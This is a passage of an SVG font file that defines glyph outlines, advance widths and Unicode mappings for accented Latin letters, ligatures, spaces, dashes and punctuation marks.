<glyph unicode="&#xd3;" horiz-adv-x="1607" d="M37 707q0 -115 27.5 -222t87 -201.5t145 -164.5t208 -111t269.5 -41t269.5 41.5t206.5 112.5t143 166.5t87 201.5t29 220t-27 222.5t-88 204.5t-146 168.5t-208 115t-266 42.5t-266.5 -42.5t-208 -115t-145.5 -169t-88.5 -205t-28.5 -223.5zM303 702q-2 75 13.5 147 t52.5 139t91 117.5t135 81t179 30.5t178.5 -30t134 -80.5t90 -117t52 -138t14.5 -146.5q-1 -74 -17.5 -142t-52.5 -132t-88.5 -111.5t-132.5 -76t-178 -28.5t-178 28t-132.5 75t-89 111t-53 131.5t-18.5 141.5zM657 1587v12l152 279h295v-10l-225 -281h-222z" />
<glyph unicode="&#xd4;" horiz-adv-x="1607" d="M37 707q0 115 28.5 223.5t88.5 205t145.5 169t208 115t266.5 42.5t266 -42.5t208 -115t146 -168.5t88 -204.5t27 -222.5t-29 -220t-87 -201.5t-143 -166.5t-206.5 -112.5t-269.5 -41.5t-269.5 41t-208 111t-145 164.5t-87 201.5t-27.5 222zM303 702q2 -74 18.5 -141.5 t53 -131.5t89 -111t132.5 -75t178 -28t178 28.5t132.5 76t88.5 111.5t52.5 132t17.5 142q1 75 -14.5 146.5t-52 138t-90 117t-134 80.5t-178.5 30t-179 -30.5t-135 -81t-91 -117.5t-52.5 -139t-13.5 -147zM426 1589v13l303 282h137l303 -282v-13h-254l-118 121l-117 -121 h-254z" />
<glyph unicode="&#xd5;" horiz-adv-x="1607" d="M37 707q0 115 28.5 223.5t88.5 205t145.5 169t208 115t266.5 42.5t266 -42.5t208 -115t146 -168.5t88 -204.5t27 -222.5t-29 -220t-87 -201.5t-143 -166.5t-206.5 -112.5t-269.5 -41.5t-269.5 41t-208 111t-145 164.5t-87 201.5t-27.5 222zM303 702q2 -74 18.5 -141.5 t53 -131.5t89 -111t132.5 -75t178 -28t178 28.5t132.5 76t88.5 111.5t52.5 132t17.5 142q1 75 -14.5 146.5t-52 138t-90 117t-134 80.5t-178.5 30t-179 -30.5t-135 -81t-91 -117.5t-52.5 -139t-13.5 -147zM451 1671q88 216 264 176q23 -6 56 -21.5t57.5 -26t51 -15.5t49 10 t40.5 51l164 -78q-42 -113 -112 -156.5t-147 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5z" />
<glyph unicode="&#xd6;" horiz-adv-x="1607" d="M37 707q0 -115 27.5 -222t87 -201.5t145 -164.5t208 -111t269.5 -41t269.5 41.5t206.5 112.5t143 166.5t87 201.5t29 220t-27 222.5t-88 204.5t-146 168.5t-208 115t-266 42.5t-266.5 -42.5t-208 -115t-145.5 -169t-88.5 -205t-28.5 -223.5zM303 702q-2 75 13.5 147 t52.5 139t91 117.5t135 81t179 30.5t178.5 -30t134 -80.5t90 -117t52 -138t14.5 -146.5q-1 -74 -17.5 -142t-52.5 -132t-88.5 -111.5t-132.5 -76t-178 -28.5t-178 28t-132.5 75t-89 111t-53 131.5t-18.5 141.5zM393 1716q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5 t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM897 1716q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#xd7;" horiz-adv-x="911" d="M86 453l201 196l-197 197l166 160l190 -199l199 203l156 -156l-205 -211l211 -209l-156 -149l-207 209l-196 -203z" />
<glyph unicode="&#xd8;" horiz-adv-x="1607" d="M37 707q0 115 28.5 223.5t88.5 205t145.5 169t208 115t266.5 42.5q146 0 279 -47l92 154h262l-160 -266q129 -106 196.5 -264t65.5 -330q-1 -114 -29 -220t-87 -201.5t-143 -166.5t-206.5 -112.5t-269.5 -41.5q-166 0 -299 51l-100 -165h-260l168 278 q-121 103 -183.5 254t-62.5 322zM303 702q2 -95 31 -184t86 -156l502 834q-79 21 -148 21q-98 0 -179 -30.5t-135 -81t-91 -117.5t-52.5 -139t-13.5 -147zM606 238q80 -23 168 -23q98 0 178 28.5t132.5 76t88.5 111.5t52.5 132t17.5 142q2 104 -31 203t-100 171z" />
<glyph unicode="&#xd9;" horiz-adv-x="1521" d="M100 610v822h269v-822q0 -190 99.5 -292.5t270.5 -102.5q166 0 258.5 105t92.5 290v822h268v-822q0 -156 -46 -278.5t-129.5 -201.5t-196.5 -120t-249 -41q-131 0 -245 40t-202 117.5t-139 202t-51 281.5zM444 1878v10h295l152 -278v-13h-221z" />
<glyph unicode="&#xda;" horiz-adv-x="1521" d="M100 610q0 -157 51 -281.5t139 -202t202 -117.5t245 -40q136 0 249 41t196.5 120t129.5 201.5t46 278.5v822h-268v-822q0 -185 -92.5 -290t-258.5 -105q-171 0 -270.5 102.5t-99.5 292.5v822h-269v-822zM608 1595v13l152 278h295v-10l-226 -281h-221z" />
<glyph unicode="&#xdb;" horiz-adv-x="1521" d="M100 610v822h269v-822q0 -190 99.5 -292.5t270.5 -102.5q166 0 258.5 105t92.5 290v822h268v-822q0 -156 -46 -278.5t-129.5 -201.5t-196.5 -120t-249 -41q-131 0 -245 40t-202 117.5t-139 202t-51 281.5zM365 1591v13l303 282h137l303 -282v-13h-254l-119 121l-117 -121 h-253z" />
<glyph unicode="&#xdc;" horiz-adv-x="1521" d="M100 610q0 -157 51 -281.5t139 -202t202 -117.5t245 -40q136 0 249 41t196.5 120t129.5 201.5t46 278.5v822h-268v-822q0 -185 -92.5 -290t-258.5 -105q-171 0 -270.5 102.5t-99.5 292.5v822h-269v-822zM352 1710q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5 t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM862 1710q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1472" d="M18 1421l551 -829v-592h271v592l571 829v13h-326l-380 -592l-365 592h-322v-13zM578 1579v12l151 279h295v-10l-225 -281h-221z" />
<glyph unicode="&#xde;" horiz-adv-x="1384" d="M100 0l2 1432h267v-234h407q102 0 189 -27t148 -73t104.5 -107.5t63.5 -130.5t20 -142t-20 -142t-63.5 -130.5t-104.5 -107.5t-148 -73t-189 -27h-405v-238h-271zM371 479h405q71 0 127 26t84.5 67.5t42 91.5t0 100.5t-42.5 92t-84.5 67.5t-126.5 26h-405v-471z" />
<glyph unicode="&#xdf;" horiz-adv-x="1290" d="M127 0v1053q0 97 43 175.5t113.5 127t156 74.5t174.5 26q96 0 182 -25.5t154.5 -73.5t109 -126t40.5 -176q0 -88 -58 -158.5t-159 -93.5q86 -20 150.5 -61.5t99.5 -94t52 -105t17 -104.5q0 -93 -25.5 -170t-71.5 -131.5t-109.5 -91.5t-140 -52.5t-163 -13t-178.5 24.5 l-2 227q111 -26 191.5 -21t132 38t76 79t24.5 103q0 78 -49 137t-121.5 87t-153.5 28h-96v238h90q55 0 103 11t86.5 43t40.5 81q3 59 -31.5 99t-82.5 55.5t-104 15.5q-98 0 -160 -45t-65 -125v-482q0 -82 1 -289t1 -284h-268z" />
<glyph unicode="&#xe0;" horiz-adv-x="1251" d="M27 506q0 169 70.5 290.5t188 180t267.5 57.5q102 0 190.5 -44.5t130.5 -119.5l9 140h239v-1010h-235l-13 147q-40 -83 -136 -129.5t-191 -48.5q-151 -1 -267.5 58.5t-184.5 182.5t-68 296zM276 506q0 -141 85 -224t214 -83q71 0 128.5 26.5t93 69.5t54.5 98t19 112 t-19 112t-54.5 98t-93 69.5t-128.5 26.5q-129 0 -214 -82t-85 -223zM287 1442v10h295l151 -278v-13h-221z" />
<glyph unicode="&#xe1;" horiz-adv-x="1251" d="M27 506q0 -173 68 -296t184.5 -182.5t267.5 -58.5q95 2 191 48.5t136 129.5l13 -147h235v1010h-239l-9 -140q-42 75 -130.5 119.5t-190.5 44.5q-150 1 -267.5 -57.5t-188 -180t-70.5 -290.5zM276 506q0 141 85 223t214 82q71 0 128.5 -26.5t93 -69.5t54.5 -98t19 -112 t-19 -112t-54.5 -98t-93 -69.5t-128.5 -26.5q-129 0 -214 83t-85 224zM414 1163v13l151 278h295v-10l-225 -281h-221z" />
<glyph unicode="&#xe2;" horiz-adv-x="1251" d="M27 506q0 169 70.5 290.5t188 180t267.5 57.5q102 0 190.5 -44.5t130.5 -119.5l9 140h239v-1010h-235l-13 147q-40 -83 -136 -129.5t-191 -48.5q-151 -1 -267.5 58.5t-184.5 182.5t-68 296zM244 1165v13l303 282h137l303 -282v-13h-254l-119 121l-116 -121h-254zM276 506 q0 -141 85 -224t214 -83q71 0 128.5 26.5t93 69.5t54.5 98t19 112t-19 112t-54.5 98t-93 69.5t-128.5 26.5q-129 0 -214 -82t-85 -223z" />
<glyph unicode="&#xe3;" horiz-adv-x="1251" d="M27 506q0 169 70.5 290.5t188 180t267.5 57.5q102 0 190.5 -44.5t130.5 -119.5l9 140h239v-1010h-235l-13 147q-40 -83 -136 -129.5t-191 -48.5q-151 -1 -267.5 58.5t-184.5 182.5t-68 296zM274 1282q88 217 265 176q23 -6 56 -21.5t57.5 -26t51 -15.5t49 10t40.5 51 l163 -78q-42 -113 -111.5 -156.5t-146.5 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5zM276 506q0 -141 85 -224t214 -83q71 0 128.5 26.5t93 69.5t54.5 98t19 112t-19 112t-54.5 98t-93 69.5t-128.5 26.5q-129 0 -214 -82t-85 -223z" />
<glyph unicode="&#xe4;" horiz-adv-x="1251" d="M27 506q0 -173 68 -296t184.5 -182.5t267.5 -58.5q95 2 191 48.5t136 129.5l13 -147h235v1010h-239l-9 -140q-42 75 -130.5 119.5t-190.5 44.5q-150 1 -267.5 -57.5t-188 -180t-70.5 -290.5zM225 1341q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5 q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM276 506q0 141 85 223t214 82q71 0 128.5 -26.5t93 -69.5t54.5 -98t19 -112t-19 -112t-54.5 -98t-93 -69.5t-128.5 -26.5q-129 0 -214 83t-85 224zM735 1341q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5 t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1251" d="M27 506q0 169 70.5 290.5t188 180t267.5 57.5q102 0 190.5 -44.5t130.5 -119.5l9 140h239v-1010h-235l-13 147q-40 -83 -136 -129.5t-191 -48.5q-151 -1 -267.5 58.5t-184.5 182.5t-68 296zM276 506q0 -141 85 -224t214 -83q71 0 128.5 26.5t93 69.5t54.5 98t19 112 t-19 112t-54.5 98t-93 69.5t-128.5 26.5q-129 0 -214 -82t-85 -223zM330 1382q0 112 78.5 175t183.5 63t182.5 -63t77.5 -175t-77.5 -174.5t-182.5 -62.5t-183.5 62.5t-78.5 174.5zM473.5 1384.5q0.5 -37.5 31 -69t83.5 -31.5q56 0 86.5 31.5t30 69t-32 69t-84.5 31.5 q-54 0 -84.5 -31.5t-30 -69z" />
<glyph unicode="&#xe6;" horiz-adv-x="2000" d="M14 506q0 169 71 290.5t188.5 180t267.5 57.5q102 0 190.5 -44.5t130.5 -119.5l8 140h189v-127q121 159 350 155q83 -2 162.5 -30.5t146 -81.5t112 -129t60.5 -171.5t-8 -209.5h-788q12 -96 92 -155.5t209 -59.5q73 0 151 26t119 68l160 -158q-76 -80 -194 -122t-240 -42 q-228 0 -332 158l-10 -131h-185l-2 147q-40 -83 -136 -129.5t-191 -48.5q-152 -1 -268 58.5t-184.5 183t-68.5 295.5zM264 506q0 -141 85 -224t214 -83q74 0 134 26.5t97 69.5t57 98t20 112t-20 112t-57 98t-97 69.5t-134 26.5q-129 0 -214 -82t-85 -223zM1098 623h544 q-12 96 -82 146t-180 50q-104 0 -179.5 -50t-102.5 -146z" />
<glyph unicode="&#xe7;" horiz-adv-x="976" d="M23 504q0 131 42.5 234t116 168t169.5 98.5t208 33.5q110 0 196.5 -34.5t168.5 -114.5l-158 -166q-89 80 -203 80q-127 0 -209 -84t-82 -215q0 -139 82 -217t205 -78q137 0 221 84l168 -164q-83 -82 -171.5 -119.5t-196.5 -40.5l-25 -78q67 -2 114.5 -24t68 -55t29.5 -73 t-1 -77q-12 -55 -49 -96.5t-86.5 -63t-108.5 -26.5t-114 8t-105 45t-80 80l109 90q29 -38 82.5 -54.5t101 -4t59.5 50.5q11 37 -17.5 63.5t-71.5 28t-85 -22.5l-59 45l64 183q-174 40 -278.5 171.5t-104.5 344.5z" />
<glyph unicode="&#xe8;" horiz-adv-x="1193" d="M37 512q0 233 146.5 380.5t389.5 147.5q261 0 399.5 -160t110.5 -464h-788q12 -96 92 -155.5t209 -59.5q73 0 151 26t119 68l160 -158q-76 -80 -194 -122t-240 -42q-258 0 -406.5 146.5t-148.5 392.5zM272 1450v10h295l152 -278v-13h-221zM299 623h545q-12 96 -82 146 t-180 50q-104 0 -180 -50t-103 -146z" />
<glyph unicode="&#xe9;" horiz-adv-x="1193" d="M37 512q0 -246 148.5 -392.5t406.5 -146.5q122 0 240 42t194 122l-160 158q-41 -42 -119 -68t-151 -26q-129 0 -209 59.5t-92 155.5h788q28 304 -110.5 464t-399.5 160q-243 0 -389.5 -147.5t-146.5 -380.5zM299 623q27 96 103 146t180 50q110 0 180 -50t82 -146h-545z M422 1174v12l151 278h295v-10l-225 -280h-221z" />
<glyph unicode="&#xea;" horiz-adv-x="1193" d="M37 512q0 233 146.5 380.5t389.5 147.5q261 0 399.5 -160t110.5 -464h-788q12 -96 92 -155.5t209 -59.5q73 0 151 26t119 68l160 -158q-76 -80 -194 -122t-240 -42q-258 0 -406.5 146.5t-148.5 392.5zM215 1165v13l303 282h137l303 -282v-13h-253l-119 121l-117 -121 h-254zM299 623h545q-12 96 -82 146t-180 50q-104 0 -180 -50t-103 -146z" />
<glyph unicode="&#xeb;" horiz-adv-x="1193" d="M37 512q0 -246 148.5 -392.5t406.5 -146.5q122 0 240 42t194 122l-160 158q-41 -42 -119 -68t-151 -26q-129 0 -209 59.5t-92 155.5h788q28 304 -110.5 464t-399.5 160q-243 0 -389.5 -147.5t-146.5 -380.5zM229 1313q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5 t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM299 623q27 96 103 146t180 50q110 0 180 -50t82 -146h-545zM666 1313q0 45 21 78.5t53 48.5t69 15t69 -15t53 -48.5t21 -78.5q0 -67 -44.5 -104.5t-98.5 -37.5t-98.5 37.5t-44.5 104.5z" />
<glyph unicode="&#xec;" horiz-adv-x="487" d="M-8 1419v11h268l86 -291v-13h-203zM82 0v975h262v-975h-262z" />
<glyph unicode="&#xed;" horiz-adv-x="487" d="M82 0h262v975h-262v-975zM88 1126v13l86 291h268v-11l-151 -293h-203z" />
<glyph unicode="&#xee;" horiz-adv-x="487" d="M-100 1130v13l266 299h119l266 -299v-13h-223l-103 127l-102 -127h-223zM82 0v975h262v-975h-262z" />
<glyph unicode="&#xef;" horiz-adv-x="487" d="M-102 1309q0 39 16 69.5t41 46.5t55.5 23.5t61 0t55.5 -23.5t41 -46.5t16 -69.5q0 -67 -44.5 -104.5t-98.5 -37.5t-98.5 37.5t-44.5 104.5zM82 0h262v975h-262v-975zM276 1309q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5 t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#xf0;" horiz-adv-x="1204" d="M66 487q0 85 26 164.5t75 146.5t127.5 115t176.5 66q86 12 176.5 -5t138.5 -59q-25 66 -95.5 127.5t-108.5 71.5l-64 -72l-121 80l54 64q-54 32 -168 47l45 203q150 -20 270 -74l88 104l123 -88l-76 -88q206 -162 290.5 -348t84.5 -428q0 -238 -139.5 -385t-380.5 -147 q-126 0 -227.5 42.5t-164.5 114t-96.5 161t-33.5 187.5zM322 489q0 -116 70.5 -200t195.5 -84t194.5 84t69.5 200q0 73 -28.5 136t-90 105t-145.5 42q-125 0 -195.5 -84.5t-70.5 -198.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1230" d="M76 0v1012h223l16 -138q155 152 332 152q185 0 306.5 -132.5t121.5 -363.5v-530h-250v528q0 120 -63.5 195.5t-179.5 75.5q-113 0 -185.5 -82.5t-72.5 -200.5v-516h-248zM227 1288q88 217 265 176q23 -6 56 -21.5t57 -26t50.5 -15.5t49 10t40.5 51l164 -78 q-42 -113 -111.5 -156.5t-146.5 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5z" />
<glyph unicode="&#xf2;" horiz-adv-x="1175" d="M35 504q0 145 62.5 264t182.5 190.5t277 71.5t278.5 -71.5t185.5 -190.5t64 -264q0 -146 -62 -265t-183 -190.5t-281 -71.5q-159 0 -280 71.5t-182.5 190t-61.5 265.5zM264 1436v10h295l152 -279v-12h-222zM285 504q0 -79 29.5 -145t93.5 -109t151 -43q130 0 202.5 87 t72.5 210q0 120 -77 209.5t-198 89.5q-128 0 -201 -88.5t-73 -210.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1175" d="M35 504q0 -147 61.5 -265.5t182.5 -190t280 -71.5q160 0 281 71.5t183 190.5t62 265q0 145 -64 264t-185.5 190.5t-278.5 71.5t-277 -71.5t-182.5 -190.5t-62.5 -264zM285 504q0 122 73 210.5t201 88.5q121 0 198 -89.5t77 -209.5q0 -123 -72.5 -210t-202.5 -87 q-87 0 -151 43t-93.5 109t-29.5 145zM434 1151v12l152 279h295v-10l-226 -281h-221z" />
<glyph unicode="&#xf4;" horiz-adv-x="1175" d="M35 504q0 145 62.5 264t182.5 190.5t277 71.5t278.5 -71.5t185.5 -190.5t64 -264q0 -146 -62 -265t-183 -190.5t-281 -71.5q-159 0 -280 71.5t-182.5 190t-61.5 265.5zM186 1145v12l303 283h138l303 -283v-12h-254l-119 121l-117 -121h-254zM285 504q0 -79 29.5 -145 t93.5 -109t151 -43q130 0 202.5 87t72.5 210q0 120 -77 209.5t-198 89.5q-128 0 -201 -88.5t-73 -210.5z" />
<glyph unicode="&#xf5;" horiz-adv-x="1175" d="M35 504q0 145 62.5 264t182.5 190.5t277 71.5t278.5 -71.5t185.5 -190.5t64 -264q0 -146 -62 -265t-183 -190.5t-281 -71.5q-159 0 -280 71.5t-182.5 190t-61.5 265.5zM223 1274q88 216 264 176q23 -6 56 -21.5t57.5 -26t51 -15.5t49 10t40.5 51l164 -78 q-42 -113 -111.5 -156.5t-146.5 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5zM285 504q0 -79 29.5 -145t93.5 -109t151 -43q130 0 202.5 87t72.5 210q0 120 -77 209.5t-198 89.5q-128 0 -201 -88.5t-73 -210.5z" />
<glyph unicode="&#xf6;" horiz-adv-x="1175" d="M35 504q0 -147 61.5 -265.5t182.5 -190t280 -71.5q160 0 281 71.5t183 190.5t62 265q0 145 -64 264t-185.5 190.5t-278.5 71.5t-277 -71.5t-182.5 -190.5t-62.5 -264zM205 1327q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5 t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM285 504q0 122 73 210.5t201 88.5q121 0 198 -89.5t77 -209.5q0 -123 -72.5 -210t-202.5 -87q-87 0 -151 43t-93.5 109t-29.5 145zM627 1327q0 45 21 78.5t53 48.5t69 15t69 -15t53 -48.5t21 -78.5q0 -67 -44.5 -104.5t-98.5 -37.5 t-98.5 37.5t-44.5 104.5z" />
<glyph unicode="&#xf7;" horiz-adv-x="1060" d="M39 545h915v241h-915v-241zM354 281q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM354 1042q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5 t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1175" d="M35 504q0 145 62.5 264t182.5 190.5t277 71.5q91 0 180 -29l76 129h236l-136 -229q83 -72 127.5 -175t44.5 -222q0 -146 -62 -265t-183 -190.5t-281 -71.5q-81 0 -176 25l-80 -135h-235l137 233q-83 71 -126.5 176t-43.5 228zM285 504q0 -108 51 -182l280 475 q-27 6 -57 6q-128 0 -201 -88.5t-73 -210.5zM506 211q16 -4 53 -4q130 0 202.5 87t72.5 210q0 94 -52 174z" />
<glyph unicode="&#xf9;" horiz-adv-x="1232" d="M88 479v531h250v-529q0 -120 64 -195t180 -75q113 0 185.5 82.5t72.5 200.5v516h247v-1012h-223l-16 137q-80 -79 -159.5 -115t-182.5 -36q-186 0 -302 132.5t-116 362.5zM287 1423v11h295l151 -279v-12h-221z" />
<glyph unicode="&#xfa;" horiz-adv-x="1232" d="M88 479q0 -230 116 -362.5t302 -132.5q103 0 182.5 36t159.5 115l16 -137h223v1012h-247v-516q0 -118 -72.5 -200.5t-185.5 -82.5q-116 0 -180 75t-64 195v529h-250v-531zM463 1143v12l151 279h295v-11l-225 -280h-221z" />
<glyph unicode="&#xfb;" horiz-adv-x="1232" d="M88 479v531h250v-529q0 -120 64 -195t180 -75q113 0 185.5 82.5t72.5 200.5v516h247v-1012h-223l-16 137q-80 -79 -159.5 -115t-182.5 -36q-186 0 -302 132.5t-116 362.5zM236 1147v12l303 283h137l303 -283v-12h-254l-119 121l-117 -121h-253z" />
<glyph unicode="&#xfc;" horiz-adv-x="1232" d="M88 479q0 -230 116 -362.5t302 -132.5q103 0 182.5 36t159.5 115l16 -137h223v1012h-247v-516q0 -118 -72.5 -200.5t-185.5 -82.5q-116 0 -180 75t-64 195v529h-250v-531zM199 1321q0 39 16 69.5t41 46.5t55.5 23.5t61 0t55.5 -23.5t41 -46.5t16 -69.5 q0 -67 -44.5 -104.5t-98.5 -37.5t-98.5 37.5t-44.5 104.5zM709 1321q0 45 21 78.5t53 48.5t69 15t69 -15t53 -48.5t21 -78.5q0 -67 -44.5 -104.5t-98.5 -37.5t-98.5 37.5t-44.5 104.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1148" d="M-6 1010l403 -994l-188 -438h274l617 1432h-277l-184 -443l-104 -278l-97 284l-153 437h-291zM385 1145v12l152 279h294v-11l-225 -280h-221z" />
<glyph unicode="&#xfe;" horiz-adv-x="1277" d="M82 -422v1856h250v-562q48 75 142.5 117.5t187.5 42.5q150 0 265 -58.5t183 -179.5t68 -290q0 -253 -141.5 -391t-370.5 -138q-92 0 -185.5 39.5t-148.5 122.5v-559h-250zM354 504q0 -118 84 -202.5t203 -84.5q123 0 205 77.5t82 209.5t-82 209.5t-205 77.5 q-119 0 -203 -84.5t-84 -202.5z" />
<glyph unicode="&#xff;" horiz-adv-x="1148" d="M-6 1010l403 -994l-188 -438h274l617 1432h-277l-184 -443l-104 -278l-97 284l-153 437h-291zM172 1305q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5zM682 1305q0 39 16 69.5t41 46.5 t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5z" />
<glyph unicode="&#x152;" horiz-adv-x="2117" d="M92 725q0 161 46.5 294.5t136 232.5t229.5 154.5t319 55.5q121 0 236 -32v4h936v-269h-686v-319h657v-256h-657v-320h686v-268h-936q-119 -33 -236 -33q-181 0 -322.5 58t-229.5 161.5t-133.5 239.5t-45.5 297zM362 719q0 -100 29.5 -191.5t86 -165.5t148 -118.5 t205.5 -44.5q139 0 228 41v950q-96 45 -234 45q-114 0 -203.5 -40t-145.5 -110.5t-85 -163.5t-29 -202z" />
<glyph unicode="&#x153;" horiz-adv-x="1943" d="M39 504q0 145 62.5 264.5t182.5 191.5t277 72q126 0 231.5 -53.5t163.5 -149.5q47 92 151 149.5t234 57.5q262 0 400 -158t110 -462h-782q12 -97 89.5 -156t205.5 -59q73 0 151 26t119 68l160 -158q-76 -80 -194 -122t-240 -42q-142 0 -249 53t-167 154 q-139 -203 -381 -203q-159 0 -280 71.5t-182.5 190t-61.5 265.5zM289 504q0 -79 29.5 -145t93.5 -109t151 -43q130 0 202.5 87t72.5 210q0 120 -77 209.5t-198 89.5q-128 0 -201 -88.5t-73 -210.5zM1067 623h545q-12 96 -82 146t-180 50q-104 0 -180 -50t-103 -146z" />
<glyph unicode="&#x178;" horiz-adv-x="1429" d="M18 1421l551 -829v-592h271v592l571 829v13h-326l-380 -592l-365 592h-322v-13zM307 1710q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM817 1710q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0 t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="870" d="M45 1169v13l303 282h137l303 -282v-13h-253l-119 121l-117 -121h-254z" />
<glyph unicode="&#x2dc;" horiz-adv-x="813" d="M57 1401q88 217 265 176q23 -6 56 -21.5t57 -26t50.5 -15.5t49 10t40.5 51l164 -78q-42 -113 -111.5 -156.5t-146.5 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5z" />
<glyph unicode="&#x2000;" horiz-adv-x="944" />
<glyph unicode="&#x2001;" horiz-adv-x="1888" />
<glyph unicode="&#x2002;" horiz-adv-x="944" />
<glyph unicode="&#x2003;" horiz-adv-x="1888" />
<glyph unicode="&#x2004;" horiz-adv-x="629" />
<glyph unicode="&#x2005;" horiz-adv-x="472" />
<glyph unicode="&#x2006;" horiz-adv-x="314" />
<glyph unicode="&#x2007;" horiz-adv-x="314" />
<glyph unicode="&#x2008;" horiz-adv-x="236" />
<glyph unicode="&#x2009;" horiz-adv-x="377" />
<glyph unicode="&#x200a;" horiz-adv-x="104" />
<glyph unicode="&#x2010;" horiz-adv-x="937" d="M72 553v229h755v-229h-755z" />
<glyph unicode="&#x2011;" horiz-adv-x="937" d="M72 553v229h755v-229h-755z" />
<glyph unicode="&#x2012;" horiz-adv-x="937" d="M72 553v229h755v-229h-755z" />
<glyph unicode="&#x2013;" horiz-adv-x="1116" d="M43 494v221h969v-221h-969z" />
<glyph unicode="&#x2014;" horiz-adv-x="1275" d="M29 494v221h1165v-221h-1165z" />
<glyph unicode="&#x2018;" horiz-adv-x="436" d="M29 975l159 461h197l-98 -461h-258z" />
<glyph unicode="&#x2019;" horiz-adv-x="413" d="M-4 973l98 461h258l-159 -461h-197z" />
<glyph unicode="&#x201a;" horiz-adv-x="512" d="M51 113q0 54 30 89.5t72.5 43t85.5 -2.5t73 -47t30 -90q0 -19 -10.5 -54t-81.5 -253h-141l38 203q-44 8 -70 36.5t-26 74.5z" />
<glyph unicode="&#x201c;" horiz-adv-x="774" d="M12 971l160 461h197l-99 -461h-258zM358 971l160 461h197l-99 -461h-258z" />
<glyph unicode="&#x201d;" horiz-adv-x="741" d="M-4 973l98 461h258l-159 -461h-197zM342 973l98 461h258l-159 -461h-197z" />
<glyph unicode="&#x201e;" horiz-adv-x="825" d="M51 113q0 54 30 89.5t72.5 43t85.5 -2.5t73 -47t30 -90q0 -19 -10.5 -54t-81.5 -253h-141l38 203q-44 8 -70 36.5t-26 74.5zM438 113q0 54 30 89.5t72.5 43t85.5 -2.5t73 -47t30 -90q0 -19 -10.5 -54t-81.5 -253h-141l39 203q-44 8 -70.5 36.5t-26.5 74.5z" />
<glyph unicode="&#x2022;" horiz-adv-x="729" d="M72 664q0 116 75.5 188t190.5 72q112 0 187 -72.5t75 -187.5t-75 -186.5t-187 -71.5q-116 0 -191 71t-75 187z" />
<glyph unicode="&#x2026;" horiz-adv-x="1486" d="M76 129q0 40 16.5 71.5t42.5 48t57 24t62.5 0t57.5 -24t42.5 -48t16.5 -71.5t-16.5 -71.5t-42.5 -48t-57 -24t-62.5 0t-57.5 24t-42.5 48t-16.5 71.5zM543 129q0 47 22 81t54.5 49.5t71 15.5t71 -15.5t54.5 -49.5t22 -81t-22 -81t-54.5 -49.5t-71 -15.5t-71 15.5 t-54.5 49.5t-22 81zM1010 129q0 47 22 81t54.5 49.5t71 15.5t71 -15.5t54.5 -49.5t22 -81t-22 -81t-54.5 -49.5t-71 -15.5t-71 15.5t-54.5 49.5t-22 81z" />
<glyph unicode="&#x202f;" horiz-adv-x="377" />
<glyph unicode="&#x2039;" horiz-adv-x="663" d="M25 651l284 453h266l-282 -453l282 -454h-266z" />
<glyph unicode="&#x203a;" horiz-adv-x="716" d="M45 197l283 454l-283 453h266l285 -453l-285 -454h-266z" />
<glyph unicode="&#x205f;" horiz-adv-x="472" />
